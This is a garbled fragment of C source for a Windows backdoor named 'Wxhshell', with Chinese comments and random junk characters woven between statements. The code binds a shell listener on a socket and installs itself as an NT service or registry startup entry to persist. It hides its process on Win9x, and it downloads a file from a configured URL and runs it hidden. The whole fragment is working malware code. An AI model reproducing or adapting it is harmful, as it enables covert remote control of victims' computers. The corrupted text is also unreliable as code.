sizeof(procName)); [w&B>z=g$ .}
al s CloseHandle(hProcess); +?r,Nn PhTMXv<cE if(strstr(procName,"services")) return 1; // 以服务启动 J?VMQTa/+ 6U|An* return 0; // 注册表启动 T%|{Qo<j } IiW*'0H:/ ~n9x
, // 主模块 L-Io!msb int StartWxhshell(LPSTR lpCmdLine) C sXV0 { 4eOS+& SOCKET wsl; (JV [7u - BOOL val=TRUE; ZBYFQTEE int port=0; A=8%2UwI struct sockaddr_in door; WUnz e$'|EE.=q+ if(wscfg.ws_autoins) Install(); |6@s6]%X} g
i>` port=atoi(lpCmdLine); h`Ld%iN\ gEr@L
if(port<=0) port=wscfg.ws_port; &c[.&L,w4 "m2g"xa\7 WSADATA data; ?r
P'PUB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +d/V^ <# H!N`hEEj> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m5i?<Ko@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a}(xZ\n^D; door.sin_family = AF_INET; cV8Bl="gqe door.sin_addr.s_addr = inet_addr("127.0.0.1"); O^/z7, door.sin_port = htons(port); 2z*EamF #6okd*^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f8ucJ.{" closesocket(wsl); >#pZ`oPEAv return 1; j_]#Ew\q } r xlKoa GnT Cq_\ if(listen(wsl,2) == INVALID_SOCKET) { Owd{; closesocket(wsl); ,%Go.3i[ return 1; _=Y?' gHH } mf4C68DI@u Wxhshell(wsl); N{kp^Byim0 WSACleanup(); jimWLF5Q5" M/?*?B return 0; vca]yK<u b{
M'aV } $W_sIS0\z
OoIs'S-Z# // 以NT服务方式启动 4$W}6v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .|?UqZ(, { W"3YA+qpI DWORD status = 0; ~;)H |R5kV DWORD specificError = 0xfffffff; 5N~JRq\ 'tJb(X!]q serviceStatus.dwServiceType = SERVICE_WIN32; =[_=y=G serviceStatus.dwCurrentState = SERVICE_START_PENDING; qS|ns'[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uv#."_Va serviceStatus.dwWin32ExitCode = 0; )\O;Rt( serviceStatus.dwServiceSpecificExitCode = 0; X0FTD':f serviceStatus.dwCheckPoint = 0; 8%\0v?a5 serviceStatus.dwWaitHint = 0; Q}zd!* 1@}s: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *'l|ws if (hServiceStatusHandle==0) return; f3;.+hJ]) bz'#YM status = GetLastError(); 0(o{V:l%Z| if (status!=NO_ERROR) ] Hiw+5n { ja2BK\"1: serviceStatus.dwCurrentState = SERVICE_STOPPED; eN,6p'& serviceStatus.dwCheckPoint = 0; Ns2<wl- serviceStatus.dwWaitHint = 0; %+8"-u serviceStatus.dwWin32ExitCode = status; wk9qyv< serviceStatus.dwServiceSpecificExitCode = specificError; ]K0G!T R< SetServiceStatus(hServiceStatusHandle, &serviceStatus); BmhIKXE{* return; i:/Ws1=q } V'M#."Of/ *!5X!\e_ serviceStatus.dwCurrentState = SERVICE_RUNNING; B'}pZOa[Wb serviceStatus.dwCheckPoint = 0; jA'7@/F/ serviceStatus.dwWaitHint = 0; ][?@)) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d,XNok{ } k=&UV!J K| w\KX0 // 处理NT服务事件,比如:启动、停止 07
E9[U[ VOID WINAPI NTServiceHandler(DWORD fdwControl) 3'jH,17lWV { dTTC6?yPXf switch(fdwControl) ]tsp}M@ { ,^n5UA`PK case SERVICE_CONTROL_STOP: &x.n>O serviceStatus.dwWin32ExitCode = 0; YQ$Wif:@(n serviceStatus.dwCurrentState = SERVICE_STOPPED; VRQD
serviceStatus.dwCheckPoint = 0; hVGK%HCz& serviceStatus.dwWaitHint = 0; @9AK!I8f { ]1)#Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); )RCva3Ul } yM
PZ} return; s2kom) case SERVICE_CONTROL_PAUSE: :ceT8-PBRx serviceStatus.dwCurrentState = SERVICE_PAUSED; Va-. break; 1e)5D& njS case SERVICE_CONTROL_CONTINUE: `:*O8h~i^8 serviceStatus.dwCurrentState = SERVICE_RUNNING; ?#0m[k&` break; wf""=; case SERVICE_CONTROL_INTERROGATE: \$Q? break; qBDhCE }; .~Gt=F+`s SetServiceStatus(hServiceStatusHandle, &serviceStatus); V jqs\ } |T+YC[T#v CFW#+U#U // 标准应用程序主函数 Xaw&41K int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :8LK}TY7 { (Kg( 6E, 6|10OTVu` // 获取操作系统版本 c[zGWF#1> OsIsNt=GetOsVer(); w|[{xn^R GetModuleFileName(NULL,ExeFile,MAX_PATH); LXq0hI S4C4_*~Vd // 从命令行安装 njGZ#{"eC if(strpbrk(lpCmdLine,"iI")) Install(); \J-}Dp\0b ]yV,lp // 下载执行文件 Sau?Y if(wscfg.ws_downexe) { [J\! 2\Oo if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g!I0UAm WinExec(wscfg.ws_filenam,SW_HIDE); OhiY < } t2_pwd*B B!AJ* if(!OsIsNt) { J/>9w // 如果时win9x,隐藏进程并且设置为注册表启动
["BD,mB HideProc(); Xf%wW[~ StartWxhshell(lpCmdLine); zL=PxFw0 } ,/Al' else :Oh*Q(> if(StartFromService()) (X/dP ~ // 以服务方式启动 2*pNIc StartServiceCtrlDispatcher(DispatchTable); *}RV)0mif else COFCa&m9c // 普通方式启动 r 3FUddF' StartWxhshell(lpCmdLine); /D,<2>o Z" N}f
, return 0; jn._4TQ*} }
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